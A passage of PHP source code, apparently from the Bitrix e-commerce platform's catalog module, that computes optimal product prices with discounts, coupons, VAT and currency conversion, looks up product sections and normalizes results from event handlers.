			$result['UNROUND_BASE_PRICE'] = $result['BASE_PRICE'];
			if (Catalog\Product\Price\Calculation::isComponentResultMode())
			{
				$result['BASE_PRICE'] = Catalog\Product\Price::roundPrice(
					$priceData['CATALOG_GROUP_ID'],
					$result['BASE_PRICE'],
					$resultCurrency
				);
				$result['PRICE'] = Catalog\Product\Price::roundPrice(
					$priceData['CATALOG_GROUP_ID'],
					$result['PRICE'],
					$resultCurrency
				);
				if (
					empty($result['DISCOUNT_LIST'])
					|| Catalog\Product\Price\Calculation::compare($result['BASE_PRICE'], $result['PRICE'], '<=')
				)
				{
					$result['BASE_PRICE'] = $result['PRICE'];
				}
				$result['COMPARE_PRICE'] = $result['PRICE'];
			}

			if (empty($minimalPrice) || $minimalPrice['COMPARE_PRICE'] > $result['COMPARE_PRICE'])
			{
				$minimalPrice = $result;
			}

			unset($currentPrice, $result);
		}
		unset($priceData);
		unset($vat);

		$discountValue = ($minimalPrice['BASE_PRICE'] - $minimalPrice['PRICE']);

		$arResult = array(
			'PRICE' => $minimalPrice['RAW_PRICE'],
			'RESULT_PRICE' => array(
				'PRICE_TYPE_ID' => $minimalPrice['RAW_PRICE']['CATALOG_GROUP_ID'],
				'BASE_PRICE' => $minimalPrice['BASE_PRICE'],
				'DISCOUNT_PRICE' => $minimalPrice['PRICE'],
				'CURRENCY' => $resultCurrency,
				'DISCOUNT' => $discountValue,
				'PERCENT' => (
					$minimalPrice['BASE_PRICE'] > 0 && $discountValue > 0
					? roundEx((100*$discountValue)/$minimalPrice['BASE_PRICE'], 0)
					: 0
				),
				'VAT_RATE' => $minimalPrice['RAW_PRICE']['VAT_RATE'],
				'VAT_INCLUDED' => ($resultWithVat ? 'Y' : 'N'),
				'UNROUND_BASE_PRICE' => $minimalPrice['UNROUND_BASE_PRICE'],
				'UNROUND_DISCOUNT_PRICE' => $minimalPrice['UNROUND_PRICE']
			),
			'DISCOUNT_PRICE' => $minimalPrice['PRICE'],
			'DISCOUNT' => array(),
			'DISCOUNT_LIST' => array(),
			'PRODUCT_ID' => $intProductID
		);
		if (!empty($minimalPrice['DISCOUNT_LIST']))
		{
			reset($minimalPrice['DISCOUNT_LIST']);
			$arResult['DISCOUNT'] = current($minimalPrice['DISCOUNT_LIST']);
			$arResult['DISCOUNT_LIST'] = $minimalPrice['DISCOUNT_LIST'];
		}
		unset($minimalPrice);

		if ($eventOnResultExists === true || $eventOnResultExists === null)
		{
			foreach (GetModuleEvents('catalog', 'OnGetOptimalPriceResult', true) as $arEvent)
			{
				$eventOnResultExists = true;
				if (ExecuteModuleEventEx($arEvent, array(&$arResult)) === false)
					return false;
			}
			if ($eventOnResultExists === null)
				$eventOnResultExists = false;
		}

		return $arResult;
	}

	public static function GetOptimalPriceList(array $products, $arUserGroups = array(), $renewal = "N", $priceList = array(), $siteID = false, $needCoupons = true)
	{
		static $eventOnGetExists = null;
		static $eventOnResultExists = null;

		$needCoupons = ($needCoupons === true);

		$resultList = array();

		$iblockListId = array();
		$productIblockGetIdList = array();
		$ignoreList = array();

		$useDiscount = !\CCatalogDiscount::isUsedSaleDiscountOnly();

		foreach ($products as $productId => $productData)
		{
			Catalog\Product\Price\Calculation::setConfig(
				array(
					'USE_DISCOUNTS' => (isset($productData['BUNDLE_CHILD']) && $productData['BUNDLE_CHILD'] === true ? false : $useDiscount),
				)
			);

			foreach (GetModuleEvents('catalog', 'OnGetOptimalPrice', true) as $arEvent)
			{
				if (!empty($productData['QUANTITY_LIST']))
				{
					foreach ($productData['QUANTITY_LIST'] as $basketCode => $quantity)
					{
						$mxResult = ExecuteModuleEventEx(
							$arEvent,
							array(
								$productId,
								$quantity,
								$arUserGroups,
								$renewal,
								$priceList,
								$siteID,
								$needCoupons ? false : array()
							)
						);
						if ($mxResult !== true)
						{
							self::updateUserHandlerOptimalPrice(
								$mxResult,
								['PRODUCT_ID' => $productId]
							);
							$resultList[$productId][$productData['BASKET_CODE']] = $mxResult;
							$ignoreList[$productId."|".$quantity] = true;
							continue 3;
						}
					}
				}
			}

			if (!empty($productData['QUANTITY_LIST']))
			{
				foreach ($productData['QUANTITY_LIST'] as $basketCode => $quantity)
				{
					$resultList[$productId][$basketCode] = false;
				}
			}
			else
			{
				$resultList[$productId][$productData['BASKET_CODE']] = false;
			}

			if (!isset($iblockListId[$productId]) && isset($productData['IBLOCK_ID']) && $productData['IBLOCK_ID'] > 0)
			{
				$iblockListId[$productId] = $productData['IBLOCK_ID'];
			}

			if (!isset($iblockListId[$productId]))
			{
				$productIblockGetIdList[] = $productId;
			}
		}

		global $APPLICATION;

		if (!is_array($arUserGroups) && (int)$arUserGroups.'|' == (string)$arUserGroups.'|')
			$arUserGroups = array((int)$arUserGroups);

		if (!is_array($arUserGroups))
			$arUserGroups = array();

		if (!in_array(2, $arUserGroups))
			$arUserGroups[] = 2;
		Main\Type\Collection::normalizeArrayValuesByInt($arUserGroups);

		$renewal = ($renewal == 'Y' ? 'Y' : 'N');

		if ($siteID === false)
			$siteID = SITE_ID;

		$resultCurrency = Catalog\Product\Price\Calculation::getCurrency();
		if (empty($resultCurrency))
		{
			$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_NO_RESULT_CURRENCY"));
			return false;
		}

		if (!empty($productIblockGetIdList))
		{
			$iblockIdList = CIBlockElement::GetIBlockByIDList($productIblockGetIdList);
			if (!empty($iblockIdList) && is_array($iblockIdList))
			{
				$iblockListId = $iblockIdList + $iblockListId;
			}
		}

		if (!isset($priceList) || !is_array($priceList))
			$priceList = array();

		if (empty($priceList))
		{
			$priceTypeList = self::getAllowedPriceTypes($arUserGroups);
			if (empty($priceTypeList))
			{
				if (!empty($resultList))
				{
					return $resultList;
				}

				return false;
			}

			$iterator = Catalog\PriceTable::getList(array(
				'select' => array('ID', 'CATALOG_GROUP_ID', 'PRICE', 'CURRENCY', 'QUANTITY_FROM', 'QUANTITY_TO', 'PRODUCT_ID'),
				'filter' => array(
					'=PRODUCT_ID' => array_keys($products),
					'@CATALOG_GROUP_ID' => $priceTypeList
				),
			));
			while ($row = $iterator->fetch())
			{
				$row['ELEMENT_IBLOCK_ID'] = $iblockListId[$row['PRODUCT_ID']];

				if (isset($products[$row['PRODUCT_ID']]))
				{
					$productData = $products[$row['PRODUCT_ID']];
					if (!empty($productData['QUANTITY_LIST']))
					{
						foreach ($productData['QUANTITY_LIST'] as $basketCode => $quantity)
						{
							if(isset($ignoreList[$row['PRODUCT_ID']."|".$quantity]))
							{
								continue 2;
							}
						}
					}

					$quantityList = array();
					if (!isset($productData['QUANTITY']))
					{
						$quantityList = array($productData['QUANTITY']);
					}

					if (!empty($productData['QUANTITY_LIST']))
					{
						$quantityList = $productData['QUANTITY_LIST'];
					}

					foreach ($quantityList as $basketCode => $quantity)
					{
						$checkQuantity = abs(floatval($quantity));
						if (($row['QUANTITY_FROM'] <= $checkQuantity || empty($row['QUANTITY_FROM']))
							&& ($row['QUANTITY_TO'] >= $checkQuantity || empty($row['QUANTITY_TO'])))
						{
							$row['QUANTITY'] = floatval($quantity);
							$row['BASKET_CODE'] = $basketCode;
							$priceList[] = $row;
						}
					}
				}
			}
			unset($row, $iterator);
			unset($cacheKey);
		}
		else
		{
			foreach ($priceList as $priceIndex => $priceData)
			{
				$priceList[$priceIndex]['ELEMENT_IBLOCK_ID'] = $iblockListId[$priceData['PRODUCT_ID']];
			}
			unset($priceIndex);
		}

		if (empty($priceList))
		{
			if (!empty($resultList))
			{
				return $resultList;
			}

			return false;
		}

		\Bitrix\Main\Type\Collection::sortByColumn($priceList, 'BASKET_CODE');

		$vatList = CCatalogProduct::GetVATDataByIDList(array_keys($products));
		if (!empty($vatList))
		{
			foreach ($vatList as $productId => $vatValue)
			{
				if ($vatValue === false)
				{
					$vatList[$productId] = array('RATE' => 0.0, 'VAT_INCLUDED' => 'N');
				}
				else
				{
					$vatList[$productId]['RATE'] = (float)$vatList[$productId]['RATE'] * 0.01;
				}
			}
		}

		$isNeedDiscounts = Catalog\Product\Price\Calculation::isAllowedUseDiscounts();
		$resultWithVat = Catalog\Product\Price\Calculation::isIncludingVat();
		$boolDiscountVat = ('N' != COption::GetOptionString('catalog', 'discount_vat', 'Y'));

		$discountList = array();

		if (self::$saleIncluded === null)
			self::initSaleSettings();
		$isNeedleToMinimizeCatalogGroup = self::isNeedleToMinimizeCatalogGroup($priceList);

		$lastProductId = false;
		$lastBasketCode = false;
		$ignoreProductIdList = array();
		$coupons = array();
		$minimalPrice = array();

		foreach ($priceList as $priceData)
		{
			$productId = $priceData['PRODUCT_ID'];
			$basketCode = $priceData['BASKET_CODE'];

			if (in_array($productId, $ignoreProductIdList))
			{
				continue;
			}

			if ($lastBasketCode != $basketCode)
			{
				if ($lastBasketCode !== false)
				{
					foreach (GetModuleEvents('catalog', 'OnGetOptimalPriceResult', true) as $arEvent)
					{
						if (ExecuteModuleEventEx($arEvent, array(&$resultList[$lastProductId][$lastBasketCode])) === false)
						{
							continue;
						}
					}

					$productHash = array(
						'MODULE' => 'catalog',
						'PRODUCT_ID' => $lastProductId,
						'BASKET_ID' => $lastBasketCode
					);
					if (!empty($resultList[$lastProductId][$lastBasketCode]['DISCOUNT_LIST']))
					{
						$applyCoupons = array();
						foreach ($resultList[$lastProductId][$lastBasketCode]['DISCOUNT_LIST'] as $discount)
						{
							if (!empty($discount['COUPON']))
							{
								$applyCoupons[] = $discount['COUPON'];
							}
						}
						if (!empty($applyCoupons))
						{
							$resultApply = Sale\DiscountCouponsManager::setApplyByProduct($productHash, $applyCoupons);
						}
					}
				}

				if ($isNeedDiscounts && $needCoupons)
				{
					$coupons = static::getCoupons($productId, $basketCode);
				}

				$lastBasketCode = $basketCode;
				$lastProductId = $productId;

				Catalog\Product\Price\Calculation::setConfig(
					array(
						'USE_DISCOUNTS' => (isset($products[$productId]['BUNDLE_CHILD']) && $products[$productId]['BUNDLE_CHILD'] === true ? false : $useDiscount),
					)
				);
				$isNeedDiscounts = Catalog\Product\Price\Calculation::isAllowedUseDiscounts();
			}

			$vat = $vatList[$priceData['PRODUCT_ID']];

			$priceData['VAT_RATE'] = $vat['RATE'];
			$priceData['VAT_INCLUDED'] = $vat['VAT_INCLUDED'];

			$currentPrice = (float)$priceData['PRICE'];
			if ($boolDiscountVat)
			{
				if ($priceData['VAT_INCLUDED'] == 'N')
					$currentPrice *= (1 + $priceData['VAT_RATE']);
			}
			else
			{
				if ($priceData['VAT_INCLUDED'] == 'Y')
					$currentPrice /= (1 + $priceData['VAT_RATE']);
			}

			if ($priceData['CURRENCY'] != $resultCurrency)
				$currentPrice = CCurrencyRates::ConvertCurrency($currentPrice, $priceData['CURRENCY'], $resultCurrency);
			$currentPrice = Catalog\Product\Price\Calculation::roundPrecision($currentPrice);

			$result = array(
				'BASE_PRICE' => $currentPrice,
				'COMPARE_PRICE' => $currentPrice,
				'PRICE' => $currentPrice,
				'CURRENCY' => $resultCurrency,
				'DISCOUNT_LIST' => array(),
				'RAW_PRICE' => $priceData
			);

			if ($isNeedDiscounts)
			{
				$discountList[$priceData['PRODUCT_ID']] = \CCatalogDiscount::GetDiscount(
					$productId,
					$iblockListId[$priceData['PRODUCT_ID']],
					$priceData['CATALOG_GROUP_ID'],
					$arUserGroups,
					$renewal,
					$siteID,
					$coupons
				);

				$discountResult = \CCatalogDiscount::applyDiscountList($currentPrice, $resultCurrency, $discountList[$priceData['PRODUCT_ID']]);
				if ($discountResult === false)
				{
					$ignoreProductIdList[] = $productId;
					$resultList[$productId][$basketCode] = false;
					continue;
				}

				$result['PRICE'] = $discountResult['PRICE'];
				$result['COMPARE_PRICE'] = $discountResult['PRICE'];
				$result['DISCOUNT_LIST'] = $discountResult['DISCOUNT_LIST'];
				unset($discountResult);
			}
			elseif($isNeedleToMinimizeCatalogGroup)
			{
				if (!isset($products[$productId]['QUANTITY_LIST'][$basketCode]))
					continue;

				$calculateData = $priceData;
				$calculateData['PRICE'] = $currentPrice;
				$calculateData['CURRENCY'] = $resultCurrency;
				$possibleSalePrice = self::getPossibleSalePrice(
					$productId,
					$calculateData,
					$products[$productId]['QUANTITY_LIST'][$basketCode],
					$siteID,
					$arUserGroups,
					($needCoupons ? false: [])
				);
				unset($calculateData);
				if ($possibleSalePrice === null)
					continue;
				$result['COMPARE_PRICE'] = $possibleSalePrice;
				unset($possibleSalePrice);
			}

			if ($boolDiscountVat)
			{
				if (!$resultWithVat)
				{
					$result['PRICE'] /= (1 + $priceData['VAT_RATE']);
					$result['COMPARE_PRICE'] /= (1 + $priceData['VAT_RATE']);
					$result['BASE_PRICE'] /= (1 + $priceData['VAT_RATE']);
				}
			}
			else
			{
				if ($resultWithVat)
				{
					$result['PRICE'] *= (1 + $priceData['VAT_RATE']);
					$result['COMPARE_PRICE'] *= (1 + $priceData['VAT_RATE']);
					$result['BASE_PRICE'] *= (1 + $priceData['VAT_RATE']);
				}
			}

			$result['UNROUND_PRICE'] = $result['PRICE'];
			$result['UNROUND_BASE_PRICE'] = $result['BASE_PRICE'];
			if (Catalog\Product\Price\Calculation::isComponentResultMode())
			{
				$result['BASE_PRICE'] = Catalog\Product\Price::roundPrice(
					$priceData['CATALOG_GROUP_ID'],
					$result['BASE_PRICE'],
					$resultCurrency
				);
				$result['PRICE'] = Catalog\Product\Price::roundPrice(
					$priceData['CATALOG_GROUP_ID'],
					$result['PRICE'],
					$resultCurrency
				);
				if (
					empty($result['DISCOUNT_LIST'])
					|| Catalog\Product\Price\Calculation::compare($result['BASE_PRICE'], $result['PRICE'], '<=')
				)
				{
					$result['BASE_PRICE'] = $result['PRICE'];
				}
				$result['COMPARE_PRICE'] = $result['PRICE'];
			}

			if (
				empty($minimalPrice[$basketCode])
				|| $minimalPrice[$basketCode]['COMPARE_PRICE'] > $result['COMPARE_PRICE']
			)
			{
				$minimalPrice[$basketCode] = $result;
			}

			unset($currentPrice, $result);

			$discountValue = ($minimalPrice[$basketCode]['BASE_PRICE'] - $minimalPrice[$basketCode]['PRICE']);

			$productResult = array(
				'PRICE' => $minimalPrice[$basketCode]['RAW_PRICE'],
				'RESULT_PRICE' => array(
					'PRICE_TYPE_ID' => $minimalPrice[$basketCode]['RAW_PRICE']['CATALOG_GROUP_ID'],
					'BASE_PRICE' => $minimalPrice[$basketCode]['BASE_PRICE'],
					'DISCOUNT_PRICE' => $minimalPrice[$basketCode]['PRICE'],
					'CURRENCY' => $resultCurrency,
					'DISCOUNT' => $discountValue,
					'PERCENT' => (
						$minimalPrice[$basketCode]['BASE_PRICE'] > 0 && $discountValue > 0
						? roundEx((100 * $discountValue)/$minimalPrice[$basketCode]['BASE_PRICE'], 0)
						: 0
					),
					'VAT_RATE' => $minimalPrice[$basketCode]['RAW_PRICE']['VAT_RATE'],
					'VAT_INCLUDED' => ($resultWithVat ? 'Y' : 'N'),
					'UNROUND_BASE_PRICE' => $minimalPrice[$basketCode]['UNROUND_BASE_PRICE'],
					'UNROUND_DISCOUNT_PRICE' => $minimalPrice[$basketCode]['UNROUND_PRICE']
				),
				'DISCOUNT_PRICE' => $minimalPrice[$basketCode]['PRICE'],
				'DISCOUNT' => array(),
				'DISCOUNT_LIST' => array(),
				'PRODUCT_ID' => $productId
			);

			if (!empty($minimalPrice[$basketCode]['DISCOUNT_LIST']))
			{
				reset($minimalPrice[$basketCode]['DISCOUNT_LIST']);
				$productResult['DISCOUNT'] = current($minimalPrice[$basketCode]['DISCOUNT_LIST']);
				$productResult['DISCOUNT_LIST'] = $minimalPrice[$basketCode]['DISCOUNT_LIST'];
			}

			$resultList[$productId][$priceData['BASKET_CODE']] = $productResult;

		}
		unset($minimalPrice);
		unset($priceData);
		unset($vat);

		if ($lastBasketCode !== false)
		{
			foreach (GetModuleEvents('catalog', 'OnGetOptimalPriceResult', true) as $arEvent)
			{
				if (ExecuteModuleEventEx($arEvent, array(&$resultList[$lastProductId][$lastBasketCode])) === false)
				{
					break;
				}
			}

			$productHash = array(
				'MODULE' => 'catalog',
				'PRODUCT_ID' => $lastProductId,
				'BASKET_ID' => $lastBasketCode
			);
			if (!empty($resultList[$lastProductId][$lastBasketCode]['DISCOUNT_LIST']))
			{
				$applyCoupons = array();
				foreach ($resultList[$lastProductId][$lastBasketCode]['DISCOUNT_LIST'] as $discount)
				{
					if (!empty($discount['COUPON']))
					{
						$applyCoupons[] = $discount['COUPON'];
					}
				}
				if (!empty($applyCoupons))
				{
					Sale\DiscountCouponsManager::setApplyByProduct($productHash, $applyCoupons);
				}
			}
		}

		return $resultList;
	}

	/**
	 * @param $productId
	 * @param $basketCode
	 *
	 * @return array|bool
	 */
	private static function getCoupons($productId, $basketCode)
	{
		$productHash = array(
			'MODULE' => 'catalog',
			'PRODUCT_ID' => $productId,
			'BASKET_ID' => $basketCode
		);
		$coupons = Sale\DiscountCouponsManager::getForApply(array('MODULE_ID' => 'catalog'), $productHash);
		if (!empty($coupons))
		{
			$coupons = array_keys($coupons);
		}

		return $coupons;
	}

	/**
	 * @param float $price
	 * @param string $currency
	 * @param array $discounts
	 * @return bool|float
	 */
	public static function CountPriceWithDiscount($price, $currency, $discounts)
	{
		static $eventOnGetExists = null;
		static $eventOnResultExists = null;

		if ($eventOnGetExists === true || $eventOnGetExists === null)
		{
			foreach (GetModuleEvents('catalog', 'OnCountPriceWithDiscount', true) as $arEvent)
			{
				$eventOnGetExists = true;
				$mxResult = ExecuteModuleEventEx($arEvent, array($price, $currency, $discounts));
				if ($mxResult !== true)
					return $mxResult;
			}
			if ($eventOnGetExists === null)
				$eventOnGetExists = false;
		}

		$currency = CCurrency::checkCurrencyID($currency);
		if ($currency === false)
			return false;

		$price = (float)$price;
		if ($price <= 0)
			return $price;

		$currentMinPrice = $price;
		if (!empty($discounts) && is_array($discounts))
		{
			$result = CCatalogDiscount::applyDiscountList($price, $currency, $discounts);
			if ($result === false)
				return false;

			$currentMinPrice = $result['PRICE'];
		}

		if ($eventOnResultExists === true || $eventOnResultExists === null)
		{
			foreach (GetModuleEvents('catalog', 'OnCountPriceWithDiscountResult', true) as $arEvent)
			{
				$eventOnResultExists = true;
				if (ExecuteModuleEventEx($arEvent, array(&$currentMinPrice)) === false)
					return false;
			}
			if ($eventOnResultExists === null)
				$eventOnResultExists = false;
		}

		return $currentMinPrice;
	}

	public static function GetProductSections($ID)
	{
		/** @global CStackCacheManager $stackCacheManager */
		global $stackCacheManager;

		$ID = (int)$ID;
		if ($ID <= 0)
			return false;

		$cacheTime = CATALOG_CACHE_DEFAULT_TIME;
		if (defined('CATALOG_CACHE_TIME'))
			$cacheTime = intval(CATALOG_CACHE_TIME);

		$arProductSections = array();

		$dbElementSections = CIBlockElement::GetElementGroups($ID, false, array('ID', 'ADDITIONAL_PROPERTY_ID'));
		while ($arElementSections = $dbElementSections->Fetch())
		{
			if ((int)$arElementSections['ADDITIONAL_PROPERTY_ID'] > 0)
				continue;
			$arSectionsTmp = array();

			$strCacheKey = "p".$arElementSections["ID"];

			$stackCacheManager->SetLength("catalog_group_parents", 50);
			$stackCacheManager->SetTTL("catalog_group_parents", $cacheTime);
			if ($stackCacheManager->Exist("catalog_group_parents", $strCacheKey))
			{
				$arSectionsTmp = $stackCacheManager->Get("catalog_group_parents", $strCacheKey);
			}
			else
			{
				$dbSection = CIBlockSection::GetList(
					array(),
					array('ID' => $arElementSections["ID"]),
					false,
					array(
						'ID',
						'IBLOCK_ID',
						'LEFT_MARGIN',
						'RIGHT_MARGIN',
					)
				);
				if ($arSection = $dbSection->Fetch())
				{
					$dbSectionTree = CIBlockSection::GetList(
						array("LEFT_MARGIN" => "DESC"),
						array(
							"IBLOCK_ID" => $arSection["IBLOCK_ID"],
							"ACTIVE" => "Y",
							"GLOBAL_ACTIVE" => "Y",
							"IBLOCK_ACTIVE" => "Y",
							"<=LEFT_BORDER" => $arSection["LEFT_MARGIN"],
							">=RIGHT_BORDER" => $arSection["RIGHT_MARGIN"]
						),
						false,
						array('ID')
					);
					while ($arSectionTree = $dbSectionTree->Fetch())
					{
						$arSectionTree["ID"] = intval($arSectionTree["ID"]);
						$arSectionsTmp[] = $arSectionTree["ID"];
					}
					unset($arSectionTree, $dbSectionTree);
				}
				unset($arSection, $dbSection);

				$stackCacheManager->Set("catalog_group_parents", $strCacheKey, $arSectionsTmp);
			}

			$arProductSections = array_merge($arProductSections, $arSectionsTmp);
		}
		unset($arElementSections, $dbElementSections);

		$arProductSections = array_unique($arProductSections);

		return $arProductSections;
	}

	public static function OnIBlockElementDelete($ProductID)
	{
		$result = Catalog\Model\Product::delete($ProductID);

		return $result->isSuccess();
	}

	/**
	 * @deprecated deprecated since catalog 17.6.3
	 *
	 * @param array $arFields
	 */
	public static function OnAfterIBlockElementUpdate($arFields) {}

	public static function CheckProducts($arItemIDs)
	{
		if (!is_array($arItemIDs))
			$arItemIDs = array($arItemIDs);
		Main\Type\Collection::normalizeArrayValuesByInt($arItemIDs);
		if (empty($arItemIDs))
			return false;
		$arProductList = array();
		$rsProducts = CCatalogProduct::GetList(
			array(),
			array('@ID' => $arItemIDs),
			false,
			false,
			array('ID')
		);
		while ($arProduct = $rsProducts->Fetch())
		{
			$arProduct['ID'] = (int)$arProduct['ID'];
			$arProductList[$arProduct['ID']] = true;
		}
		if (empty($arProductList))
			return false;
		$boolFlag = true;
		foreach ($arItemIDs as &$intItemID)
		{
			if (!isset($arProductList[$intItemID]))
			{
				$boolFlag = false;
				break;
			}
		}
		unset($intItemID);
		return $boolFlag;
	}

	/**
	 * Return payment period list.
	 *
	 * @deprecated deprected since catalog 17.0.0
	 * @see \Bitrix\Catalog\ProductTable::getPaymentPeriods
	 *
	 * @param bool $boolFull		With description.
	 * @return array
	 */
	public static function GetTimePeriodTypes($boolFull = false)
	{
		return Catalog\ProductTable::getPaymentPeriods($boolFull);
	}

	/**
	 * Update result user handlers for event OnGetOptimalPrice.
	 *
	 * @param array &$userResult		Optimal price array.
	 * @param array $params             GetOptimalPrice parameters.
	 * @return void
	 */
	private static function updateUserHandlerOptimalPrice(&$userResult, array $params)
	{
		global $APPLICATION;

		if (empty($userResult) || !is_array($userResult))
		{
			$userResult = false;
			return;
		}
		if (
			(empty($userResult['PRICE']) || !is_array($userResult['PRICE']))
			&& ((empty($userResult['RESULT_PRICE']) || !is_array($userResult['RESULT_PRICE'])))
		)
		{
			$userResult = false;
			return;
		}

		$resultCurrency = Catalog\Product\Price\Calculation::getCurrency();
		if (empty($resultCurrency))
		{
			$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_NO_RESULT_CURRENCY"));
			$userResult = false;
			return;
		}

		if (!isset($userResult['PRODUCT_ID']))
			$userResult['PRODUCT_ID'] = $params['PRODUCT_ID'];

		$oldDiscountExist = !empty($userResult['DISCOUNT']) && is_array($userResult['DISCOUNT']);
		if ($oldDiscountExist)
		{
			if (empty($userResult['DISCOUNT']['MODULE_ID']))
				$userResult['DISCOUNT']['MODULE_ID'] = 'catalog';
			if ($userResult['DISCOUNT']['CURRENCY'] != $resultCurrency)
				Catalog\DiscountTable::convertCurrency($userResult['DISCOUNT'], $resultCurrency);
		}

		if (!isset($userResult['DISCOUNT_LIST']) || !is_array($userResult['DISCOUNT_LIST']))
		{
			$userResult['DISCOUNT_LIST'] = [];
			if ($oldDiscountExist)
				$userResult['DISCOUNT_LIST'][] = $userResult['DISCOUNT'];
		}
		unset($oldDiscountExist);

		foreach ($userResult['DISCOUNT_LIST'] as &$discount)
		{
			if (empty($discount['MODULE_ID']))
				$discount['MODULE_ID'] = 'catalog';
			if ($discount['CURRENCY'] != $resultCurrency)
				Catalog\DiscountTable::convertCurrency($discount, $resultCurrency);
		}
		unset($discount);

		if (isset($userResult['PRICE']) && is_array($userResult['PRICE']))
		{
			if (!isset($userResult['PRICE']['VAT_RATE']))
			{
				$vat = CCatalogProduct::GetVATDataByID($userResult['PRODUCT_ID']);
				if (!empty($vat))
					$vat['RATE'] = (float)$vat['RATE'] * 0.01;
				else
					$vat = ['RATE' => 0.0, 'VAT_INCLUDED' => 'Y'];
				$userResult['PRICE']['VAT_RATE'] = $vat['RATE'];
				$userResult['PRICE']['VAT_INCLUDED'] = $vat['VAT_INCLUDED'];
				unset($vat);
			}
		}
		if (empty($userResult['RESULT_PRICE']) || !is_array($userResult['RESULT_PRICE']))
		{
			$userResult['RESULT_PRICE'] = CCatalogDiscount::calculateDiscountList(
				$userResult['PRICE'],
				$resultCurrency,
				$userResult['DISCOUNT_LIST'],
				Catalog\Product\Price\Calculation::isIncludingVat()
			);
		}

		if (!isset($userResult['RESULT_PRICE']['CURRENCY']))
			$userResult['RESULT_PRICE']['CURRENCY'] = $resultCurrency;

		if (!isset($userResult['RESULT_PRICE']['PRICE_TYPE_ID']))
		{
			if (isset($userResult['PRICE']['CATALOG_GROUP_ID']))
				$userResult['RESULT_PRICE']['PRICE_TYPE_ID'] = $userResult['PRICE']['CATALOG_GROUP_ID'];
		}

		$componentResultMode = Catalog\Product\Price\Calculation::isComponentResultMode();

		if (!isset($userResult['RESULT_PRICE']['UNROUND_DISCOUNT_PRICE']))
		{
			$userResult['RESULT_PRICE']['UNROUND_DISCOUNT_PRICE'] = $userResult['RESULT_PRICE']['DISCOUNT_PRICE'];
			if ($componentResultMode)
			{
				$userResult['RESULT_PRICE']['DISCOUNT_PRICE'] = Catalog\Product\Price::roundPrice(
					$userResult['RESULT_PRICE']['PRICE_TYPE_ID'],
					$userResult['RESULT_PRICE']['DISCOUNT_PRICE'],
					$userResult['RESULT_PRICE']['CURRENCY']
				);
			}
		}

		if (!isset($userResult['RESULT_PRICE']['UNROUND_BASE_PRICE']))
		{
			$userResult['RESULT_PRICE']['UNROUND_BASE_PRICE'] = $userResult['RESULT_PRICE']['BASE_PRICE'];
			if ($componentResultMode)
			{
				$userResult['RESULT_PRICE']['BASE_PRICE'] = Catalog\Product\Price::roundPrice(
					$userResult['RESULT_PRICE']['PRICE_TYPE_ID'],
					$userResult['RESULT_PRICE']['BASE_PRICE'],
					$userResult['RESULT_PRICE']['CURRENCY']
				);
			}
		}

		if ($componentResultMode)
		{
			if (
				empty($userResult['DISCOUNT_LIST'])
				|| Catalog\Product\Price\Calculation::compare(
					$userResult['RESULT_PRICE']['BASE_PRICE'],
					$userResult['RESULT_PRICE']['DISCOUNT_PRICE'],
					'<='
				))
			{
				$userResult['RESULT_PRICE']['BASE_PRICE'] = $userResult['RESULT_PRICE']['DISCOUNT_PRICE'];
			}
		}

		$discountValue = $userResult['RESULT_PRICE']['BASE_PRICE'] - $userResult['RESULT_PRICE']['DISCOUNT_PRICE'];
		$userResult['RESULT_PRICE']['DISCOUNT'] = $discountValue;
		$userResult['RESULT_PRICE']['PERCENT'] = (
		$userResult['RESULT_PRICE']['BASE_PRICE'] > 0 && $discountValue > 0
			? round((100*$discountValue)/$userResult['RESULT_PRICE']['BASE_PRICE'], 0)
			: 0
		);
		unset($discountValue);

		if (!isset($userResult['RESULT_PRICE']['VAT_RATE']))
		{
			if (isset($userResult['PRICE']['VAT_RATE']))
			{
				$userResult['RESULT_PRICE']['VAT_RATE'] = $userResult['PRICE']['VAT_RATE'];
				$userResult['RESULT_PRICE']['VAT_INCLUDED'] = $userResult['PRICE']['VAT_INCLUDED'];
			}
			else
			{
				$vat = CCatalogProduct::GetVATDataByID($userResult['PRODUCT_ID']);
				if (!empty($vat))
					$vat['RATE'] = (float)$vat['RATE'] * 0.01;
				else
					$vat = ['RATE' => 0.0, 'VAT_INCLUDED' => 'Y'];
				$userResult['RESULT_PRICE']['VAT_RATE'] = $vat['RATE'];
				$userResult['RESULT_PRICE']['VAT_INCLUDED'] = $vat['VAT_INCLUDED'];
				unset($vat);
			}
		}

		$userResult['DISCOUNT_PRICE'] = $userResult['RESULT_PRICE']['DISCOUNT_PRICE'];
	}

	/**
	* @deprecated deprecated since catalog 15.0.0
	* @see CCatalogDiscount::applyDiscountList()
	* @see CCatalogDiscount::primaryDiscountFilter()
	 *
	 * @param array &$arDiscount
	 * @param array &$arPriceDiscount
	 * @param array &$arDiscSave
	 * @param array &$arParams
	 *
	 * @return void
	*/
	protected static function __PrimaryDiscountFilter(&$arDiscount, &$arPriceDiscount, &$arDiscSave, &$arParams)
	{
		if (isset($arParams['PRICE']) && isset($arParams['CURRENCY']))
		{
			$arParams['PRICE'] = (float)$arParams['PRICE'];
			$arParams['BASE_PRICE'] = $arParams['PRICE'];
			if ($arParams['PRICE'] > 0)
			{
				$arPriceDiscount = array();
				$arDiscSave = array();

				foreach ($arDiscount as $arOneDiscount)
				{
					$changeData = ($arParams['CURRENCY'] != $arOneDiscount['CURRENCY']);
					/** @noinspection PhpUnusedLocalVariableInspection */
					$dblDiscountValue = 0.0;
					$arOneDiscount['PRIORITY'] = (int)$arOneDiscount['PRIORITY'];
					if (CCatalogDiscount::TYPE_FIX == $arOneDiscount['VALUE_TYPE'])
					{
						$dblDiscountValue = (
							!$changeData
							? $arOneDiscount['VALUE']
							: roundEx(
								CCurrencyRates::ConvertCurrency($arOneDiscount['VALUE'], $arOneDiscount['CURRENCY'], $arParams['CURRENCY']),
								CATALOG_VALUE_PRECISION
							)
						);
						if ($arParams['PRICE'] < $dblDiscountValue)
							continue;
						$arOneDiscount['DISCOUNT_CONVERT'] = $dblDiscountValue;
						if ($changeData)
							$arOneDiscount['VALUE'] = $arOneDiscount['DISCOUNT_CONVERT'];
					}
					elseif (CCatalogDiscount::TYPE_SALE == $arOneDiscount['VALUE_TYPE'])
					{
						$dblDiscountValue = (
							!$changeData
							? $arOneDiscount['VALUE']
							: roundEx(
								CCurrencyRates::ConvertCurrency($arOneDiscount['VALUE'], $arOneDiscount['CURRENCY'], $arParams['CURRENCY']),
								CATALOG_VALUE_PRECISION
							)
						);
